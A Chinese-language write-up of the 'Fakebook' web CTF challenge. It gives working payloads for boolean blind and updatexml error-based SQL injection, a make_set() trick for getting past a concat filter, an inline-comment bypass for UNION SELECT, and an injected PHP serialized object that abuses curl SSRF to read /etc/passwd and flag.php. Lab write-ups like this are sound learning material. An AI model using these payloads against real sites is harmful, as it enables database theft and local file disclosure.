内容纲要

前言

好久没做题了 , 这俩天搞了一道 Web 题 , 题目很简单 , 不过学到了一个新姿势 , 这里记录一下 .


Fakebook


基本信息收集

  1. 环境打开后是这样的

    可以登录或者注册 . 由于现在没有帐号密码 , 所以点击 Join 按钮 , 跳转到 join.php 页面进行注册 .

  2. 注册需要填写 username , passwd , age , blog 四个字段 , 随意填写后提交 . 注册时发现 blog 字段不能任意填写 , 应该存在某个正则匹配 .

    填写一个正常可访问的站点地址 , 即可注册成功 , 跳转到主界面

  3. 在主页中点击用户名( 这里为 " a " ) , 即可进入展示页面 view.php

    发现站点内容未被显示完全 , 查看页面源码 .

    可以看到内联框架的路径是通过 data:// 流包装器呈现的 , 这样肯定不能显示正常页面啊 ! 不过 data:// 伪协议常常被用于读取 php 源文件内容 , 放在这里 , 肯定存在某个利用点 .

  4. 还有一个登录页面没看 , 不过由于主页没有退出登录的链接 , 因此我们只能手动访问 login.php 页面 .

    输入刚才注册的用户名和密码即可登录到主页 .

在不借助任何工具的情况下 , 我们能得知的信息就这么多了 , 接下来需要借助某些工具来进行进一步的信息收集 .


进阶信息收集

  1. dirsearch

    先拿出 dirsearch , 看一看目标站点是否泄漏某些敏感文件 .

    可以找到 user.phprobots.txt 两个文件 , 查看 robots.txt 文件 , 其中暴露了 user.php.bak 文件

    访问该文件 , 即可下载得到 user.php 文件的源代码 .

     在源代码中 , 我们看到了 isValidBlog() 函数 , 其中存在一个检测 Blog 值是否合法的正则表达式 , 上文注册时很有可能就是调用了该函数 . 来看一看具体内容
    
     /^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i
     1. ((http(s?))\:\/\/) => http:// | https:// 可以出现零次或者一次
     2. ([0-9a-zA-Z\-]+\.) => 任意字符数字 和 " . " 出现一次或者多次
     3. [a-zA-Z]{2,6} => 长度为 2~6 的字母字符串( 不区分大小写 )
     4. :[0-9]+  => 冒号数字串可以出现0次或者多次
     5. (\/\S*)? => 以任何非空白字符结尾
    
     简单的来说 , 这个正则表达式可以匹配任何正常的 URL .

    除此之外 , 我们还能发现 php-curl 的调用过程 . 如果您学习过 SSRF , 那您肯定能迅速的发现 , 这简直就是标准的不能再标准的 SSRF 漏洞代码模板 , 没有做任何防御 .

    例子 : SSRF读取本地文件

    SSRF 这个利用点肯定有用 , 我们应该能通过构造 GET 请求( Curl 默认发送 GET 请求 )来读取某个文件 , 比如说 Flag 文件 !


  1. BurpSuite 抓包分析

    找完了泄漏的敏感文件 , 下面我们来抓包分析一下整个流程 , 我们从登录开始 .

    • login.php

      经过一些测试 , 没有找到明显的利用点 .

    • join.php

      再次注册用户 a , 提示用户已存在

      添加单引号 "'" , PHP 报错 , Mysql报错未显示 , 我们得到了一个 db.php 文件 .

      添加注释符号 " # " , PHP报错消失 . 提示用户以存在

      添加 " and 1=1 " , 提示用户已存在 .

      添加 " and 1=0 " , 提示用户注册成功 !

      再次提交请求 , 发现页面依旧提示用户注册成功 , 查看主页 , 发现成功注册了两个相同的用户 " a' and 1=0# "

      现在可以确定 , 此处存在 SQL 布尔盲注 , 且极有可能存在 SQL 时间盲注 , 具体注入步骤放到下文 .

    • view.php

      访问该页面即可得到用户 Blog 的详细信息

      输入一个肯定错误的值 , 页面返回 Trying to get property of non-object 报错 , 如果您比较熟悉 PHP 和 MySql , 应该能看出这是数据库的返回值为 Null 而产生的报错 . 看不出来也没事 , 这不是关键点 .

      添加一个单引号 "'" , 页面提示 SQL 报错 ! 那么这里很可能存在 SQL 报错注入 , 好久没看到报错注入的题目了.

      另外 , 这里还泄漏了 Web 根目录的绝对路径 : /var/www/html , 这是值得注意的 !

      下面我们开始具体分析 .


Sql 注入


第一个注入点 : join.php

上文提到在 join.php 可能存在一个注入点 , 我们具体来分析

  1. Payload : a' and 1=(select ascii(mid((select version()),1,1))=48)#

    此时注册成功了 , 可得知判断条件是 1=0 . 也就是说 , select ascii(mid((select version()),1,1) 的值不为 48 .

  2. Payload : a' and 1=(select ascii(mid((select version()),1,1))=49)#

    此时提示用户名已存在 , 可得知判断条件是 1=1 . 也就是说 , select ascii(mid((select version()),1,1) 的值为 49

  3. Payload : a' and 1=(select ascii(mid((select version()),1,1))=50)#

    此时注册成功了 , 可得知判断条件是 1=0 . 也就是说 , select ascii(mid((select version()),1,1) 的值不为 50 .

    根据上面这个思路 , 我们可以判断当前数据库版本信息的第一位的ASCII编码为 "49" , 也就是数字 "1" .

  4. 自动化攻击

    因为Sql盲注会消耗大量的时间与精力 , 因此我们利用 BurpSuite Intruder 模块的集束炸弹( Cluster Bomb )攻击方式 , 来实现自动化攻击 .

    攻击完毕后 , 选取长度为 387 的响应数据包( 也就是ASCII字符判断正确的数据包 ) , 对 Payload1 进行排序 , 对应的 Payload2 即为版本信息每一位的 ASCII编码 .

    49 48 46 50 46 50 54 45 77 97 114 105 97 68 66 45 108 111 103

    成功得到当前数据库的版本信息 !

  5. 利用该注入点时需要注意的问题

    其实从上面的过程就能看出 , 整个攻击过程是比较复杂的 , 并且会消耗大量的时间与性能( 每获取一个字段都需要发送数千条请求 ) .

    您可能认为利用 Python 脚本能比较好的实现整个攻击过程 . 但事实上 , 由于 Response 完全是由 JavaScript 代码构成 , 并且都进行了跳转 . 因此我们最终获取到的 Response.textResponse.content 都是完全相同的 , 无法通过响应数据包判断攻击是否成功 .

     如果您知道有什么好的方法 , 欢迎您的留言 .

    最后 , 我们还不清楚该站点是否存在某些过滤机制 , 因此很可能会在花费大量时间与精力后 , 才发现该攻击最终不可行 .

     您也可以顺着这条思路继续研究 , 我发现该注入点中 Where 关键词好像是被过滤掉的 , 而我又没有什么绕过思路 , 因此放弃了该利用点
    
     如果您有什么好的方法 , 欢迎您的留言 .

    综上所述 , 我们不如先来看一看另一个注入点 , 说不定它非常好利用呢 ?


第二个注入点 : view.php

上文已经判断了第二个注入点为报错注入 , 因此这里就不多废话了 , 一个 Xpath 报错先打过去 .

果然有过滤机制 , 我们来判断一下是哪个关键字触发了过滤 .

  1. Payload : no=1 and updatexml(1,(select version()),1)

    经过一系列测试 , 发现是 concat 关键字触发了过滤 . 注意 ! 这里响应数据包中报错的版本信息没有显示完整 , 开头明显少了几位数字 . 而这点我之前一直没有注意过 , 又学到新东西了哈哈 !

    • 为什么不加 Concat() 函数 , 报错返回值会少几位 ?

      事实上 , 这也不是什么高大上的技巧 . 我们都知道在 updatexml() 返回值中出现 " 特殊字符 " 或者 " 字母+数字字符串 "( 纯字母字符串不算 ) 时 , 就会产生 Xpath 报错 , 如下

      同时你也能发现 , Xpath报错信息 , 只会从第一个 非数字 字符开始输出的 . 如果我们需要报错的信息以数字开头 , 那么我们是得不到这些数字的 .

      因此 , 在很多 Xpath 报错注入的 Payload 模板中 , 都会使用 concat() 函数 , 在开头拼接一个特殊字符 . 这样无论报错信息是什么 , 都会被完整的输出 .

      我之前都只关注了 Xpath 报错 32 个字符的限制 , 而没有注意过这个点 . 通过该题 , 让我能更深入的理解 XPath 报错的原理 .

    • 当过滤了 Concat 系列函数时 , 如何报错输出完整的数据信息?

      这时要用到 make_set() 函数 , 关于该函数可以参考w3resource , 有图有视频 , 很容易理解 .

      那么该函数如何利用呢 ? 举个例子 .

      比如 make_set(5,'a','b','c,'d') , Mysql在输出前会进行如下操作

      1. 取该函数第一个参数( 这里为 " 5 " ) , 并将它转换成二进制数 . 即 5 => 0101
      2. 对得到的二进制数进行取反操作 , 即 0101 => 1010
      3. 从左往右判断新二进制数中 "1" 的位置 , 即 第一位和第三位
        输出 'a','b','c','d' 四个参数的第一个和第三个 , 如果参数为可执行语句 , 那么将会解析执行后返回结果 .

      这样解释的应该比较清楚了~ 我们看下面这个例子

      本来纯数字是不会产生 Xpath报错的 , 但是现在利用 make_set() 函数并设置第一个参数为 3 , 即 3 => 0011 => 1100 , 这样将同时输出后面两个参数 .

      其中第一个参数为空 , 第二个参数为纯数字 , 拼接后的值第一个字符为特殊字符( 空值 ) , 因此 Xpath 报错可以输出全部的信息 .

      这个姿势还挺少见的 , Mysql里很多罕见函数是非常有趣的 .

  2. Payload : 1 and updatexml(1,make_set(3,'',(select version())),1)

    成功报错出输出全部信息 !

  3. 进阶 SQL 注入攻击

    我们可以通过该利用点获取到数据库中的所有信息~

     我这 SqlMap 不停在报错 , 好像是因为响应数据包超时 . 前前后后忙了一个小时还是没拿到想要的信息 , 就放弃了 . 感觉还没我手工注入来的快....
    • 拿到当前数据库

      Payload : 1 and updatexml(1,make_set(3,'',(select database())),1)

      当前数据库名称为 fakebook

    • 拿到当前数据库中的所有表

      Payload : 1 and updatexml(1,make_set(3,'',(select group_concat(table_name) from information_schema.tables where table_schema='fakebook')),1)

      当前数据库中只有一张表 , 表名为 " users "

    • 拿到 fakebook.users 表中的所有列

      Payload : 1 and updatexml(1,make_set(3,'',(select group_concat(column_name) from information_schema.columns where table_schema='fakebook' and table_name='users')),1

      fakebook.users 表中存在4个字段 , 分别为 no , username , passwd , data

    • 拿到 fakebook.users 表中的第一行内容

      Payload : 1 and updatexml(1,make_set(3,'',(select concat_ws(':',no,username,passwd,data) from fakebook.users limit 0,1)),1)

      密码是一段 MD5 加密 , 结合 no,username 字段长度远超 32 位 , 所以 data 字段的数据显示不出来了 , 我们直接拿 data 字段的数据 .

      Payload : 1 and updatexml(1,make_set(3,'',(select data from fakebook.users limit 0,1)),1

      序列化字符串 ! 但是没有显示完全 , 我们通过 Substr() 函数把数据全部输出出来.

    • 拿到完整的 data 数据

      Payload : 1 and updatexml(1,make_set(3,'',(select substr(data,1,20) from fakebook.users limit 0,1)),1)

      Payload : 1 and updatexml(1,make_set(3,'',(select substr(data,21,20) from fakebook.users limit 0,1)),1)

      Payload : 1 and updatexml(1,make_set(3,'',(select substr(data,41,20) from fakebook.users limit 0,1)),1)

      Payload : 1 and updatexml(1,make_set(3,'',(select substr(data,61,20) from fakebook.users limit 0,1)),1)

      Payload : 1 and updatexml(1,make_set(3,'',(select substr(data,81,20) from fakebook.users limit 0,1)),1)

      逐一执行完上述 Payload 后 , 完整的 Data 数据就呈现在我们眼前了

      O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:12;s:4:"blog";s:14:"http://abc.com";}


SSRF 读取内网文件

现在整理一下思路

  1. 用户在注册时填写的数据被转换为序列化字符串 , 然后存入数据库

  2. 系统读取数据库的内容 , 对 Data 数据进行反序列化操作 , 并通过 php-curl 组件请求对应 Blog 字段的地址

  3. 当获取了 Blog 字段对应地址的响应后 , 通过 data:// 流包装器和 base64 编码输出响应内容

由于 " 通过 php-curl 组件请求对应Blog字段的地址 " 这个过程存在 SSRF 漏洞 , 并且在读取数据库内容时存在 SQL 注入漏洞 , 所以我们可以劫持该步骤 , 构造恶意的序列化字符串 , 将 Blog 字段的地址指向内网某个文件路径 , 从而读取该文件的内容 .

可能您还是有些疑惑 , 下面举个例子

  • 修改 Userinfo 类的变量内容 , 将 Blog 字段对应的地址改为 /etc/passwd 的地址 , 然后对该类实例化 , 并生成序列化字符串

    如果您还不清楚什么是序列化与反序列化 , 可以参考 PHP 反序列化漏洞

  • 利用 view.php 的 SQL 注入漏洞 , 劫持数据库查询操作

    Payload : -1 union select 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:4:"test";s:3:"age";s:2:"12";s:4:"blog";s:18:"file:///etc/passwd";}'

    我们都知道 , 当 MySQL UNION 关键词前的 SELECT 操作返回为空时 , 会将 UNION 关键词后的 SELECT 操作的返回值作为整个查询的返回值 . 我们就这样劫持了页面的数据库查询操作 .

    这里被过滤机制拦截了 , 不过很容易判断出是 UNION SELECT 字段触发了过滤机制 , 直接内联注释绕过 .

    Payload : -1 union/*!50000 select*/ 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:4:"test";s:3:"age";s:2:"12";s:4:"blog";s:18:"file:///etc/passwd";}'

  • data:// 伪协议输出的 Base64 编码字符串解码 , 即可得到指定文件的内容

    成功读取 /etc/passwd 的文件内容 !


拿到 flag.php 并拿到 Flag

现在我们拿到了一个任意文件读取漏洞 , 就可以直接读取 flag 字段值了

那么 flag 字段在哪里呢 ? 题目有没有明显的提示 , 我也找了一会儿 , 然后发现请求 flag.php 文件时 , 响应数据包返回的状态码为 200 , 说明该文件存在 ...

那十有八九 flag 字段就在这里 , 直接构造序列化字符串读取该文件 .

Payload : -1 union/*!50000 select*/ 1,2,3,'O:8:"Userinfo":3:{s:4:"name";s:4:"test";s:3:"age";s:2:"12";s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

对得到的 Base64 编码字符串进行解码 , 即可拿到 Flag 值

解题完毕~


总结

这次又掌握了一个知识点 , 还是蛮有意义的 !

本题整体难度不大 , 比较烦的也就是 SQL 注入部分( 搞了半天 SqlMap 没跑起来确实让人很烦躁 ) , 后面的 SSRF 利用就比较简单了( 本以为还要考反序列化漏洞 , 结果没考 ) .

最近有点忙 , 也没怎么细看技术啥的 , 本文就到这里啦~

最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。